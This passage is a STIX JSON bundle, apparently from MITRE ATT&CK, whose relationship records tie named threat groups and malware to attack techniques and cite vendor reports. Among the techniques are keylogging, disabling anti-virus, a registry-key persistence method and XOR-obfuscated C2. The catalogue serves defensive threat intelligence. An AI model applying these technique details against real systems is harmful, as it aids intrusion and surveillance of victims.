                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.390Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Following data collection, [FIN6](https://attack.mitre.org/groups/G0037) has compressed log files into a ZIP archive prior to staging and exfiltration.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:14:10.655Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--2d840d1b-28d7-4387-86fd-6d3df8650171",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool to capture screenshots.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-06-24T01:27:31.923Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network configuration discovery using <code>ipconfig</code>.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.089Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--e7714693-e792-44f0-a224-9899df75fced",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can detect the existence of remote systems.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.338Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.(Citation: ZScaler Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T00:19:41.214Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can execute commands on the victim.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.495Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HDoor](https://attack.mitre.org/software/S0061) kills anti-virus found on the victim.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-04-25T02:33:53.487Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5599906d-5be3-420c-9f84-e762d85c2511",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture audio from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-16T16:46:28.695Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a keylogger module that collects keystrokes and the titles of foreground windows.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:33:49.302Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c839344c-a96d-412f-bded-5ac7c8fd446a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can download additional files.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.406Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim's current time.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.396Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--237d098d-f796-49a0-bdc8-61909cd74feb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan adds the Registry key <code>HKCU\\Environment\\UserInitMprLogonScript</code> to establish persistence.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "type": "relationship",
            "modified": "2020-01-17T22:19:53.641Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5f8e0db4-70d8-49c3-9b57-f6296ec8357f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses the <code>ipconfig /all</code> command to gather the victim\u2019s IP address.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.262Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a process listing.(Citation: Palo Alto CVE-2015-3113 July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto CVE-2015-3113 July 2015",
                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
            "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-18T20:44:39.344Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has executed malicious .bat files containing PowerShell commands.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2019-04-25T12:09:56.256Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9b9dad4a-c597-4979-9129-7753a7c3b3db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:21:02.895Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--811d0ef6-047f-4813-801e-33ebf1cae22a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:35:46.619Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bd0cff5e-762e-4ba0-ab42-9bfe84e8db4f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used WMI for execution.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-09-04T22:55:40.997Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--233d1a32-f826-4705-a535-806edee8a5aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CozyCar](https://attack.mitre.org/software/S0046) uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.608Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f33725f4-cce5-4868-b494-d73419c76bdf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) collects information about running processes from victims.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                },
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
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        },
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            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has been delivered via Word documents using DDE for execution.(Citation: Talos GravityRAT)",
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            ],
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                {
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                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
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            "modified": "2019-04-24T23:21:59.138Z",
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used a PowerShell script to launch shellcode that retrieved an additional payload.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)",
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            ],
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry",
                    "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.",
                    "source_name": "Morphisec FIN7 June 2017"
                }
            ],
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            "type": "relationship",
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            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.(Citation: FireEye Operation Double Tap)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
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            "relationship_type": "uses",
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            "type": "relationship",
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        },
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            "description": "[Nidiran](https://attack.mitre.org/software/S0118) uses RC4 to encrypt C2 traffic.(Citation: Symantec Suckfly May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                }
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            "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on open windows.(Citation: Symantec W32.Duqu)",
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                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
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                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
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            "relationship_type": "uses",
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            "description": "[MacSpy](https://attack.mitre.org/software/S0282) captures keystrokes.(Citation: objsee mac malware 2017)",
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            ],
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                {
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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                }
            ],
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            "relationship_type": "uses",
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
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            "description": "(Citation: ESET RTM Feb 2017)",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware has used HTTP for C2.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            "type": "relationship",
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                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
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            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
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            "created": "2018-10-17T00:14:20.652Z"
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            "relationship_type": "uses",
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            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
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            ],
            "description": "(Citation: FireEye APT34 Webinar Dec 2017)",
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) can terminate a specific process by its process id.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)",
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            ],
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                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                },
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[4H RAT](https://attack.mitre.org/software/S0065) obfuscates C2 communication using a 1-byte XOR with the key 0xBE.(Citation: CrowdStrike Putter Panda)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) compromised three Japanese websites using a Flash exploit to perform watering hole attacks.(Citation: Symantec Tick Apr 2016)",
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                {
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                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "source_name": "Symantec Tick Apr 2016"
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            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.(Citation: FireEye APT30)",
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            ],
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                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "description": "(Citation: Rancor Unit42 June 2018)",
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            "created": "2018-10-17T00:14:20.652Z"
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        {
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has performed C2 using DNS via A, OPT, and TXT records.(Citation: FireEye FIN7 Aug 2018)",
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                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
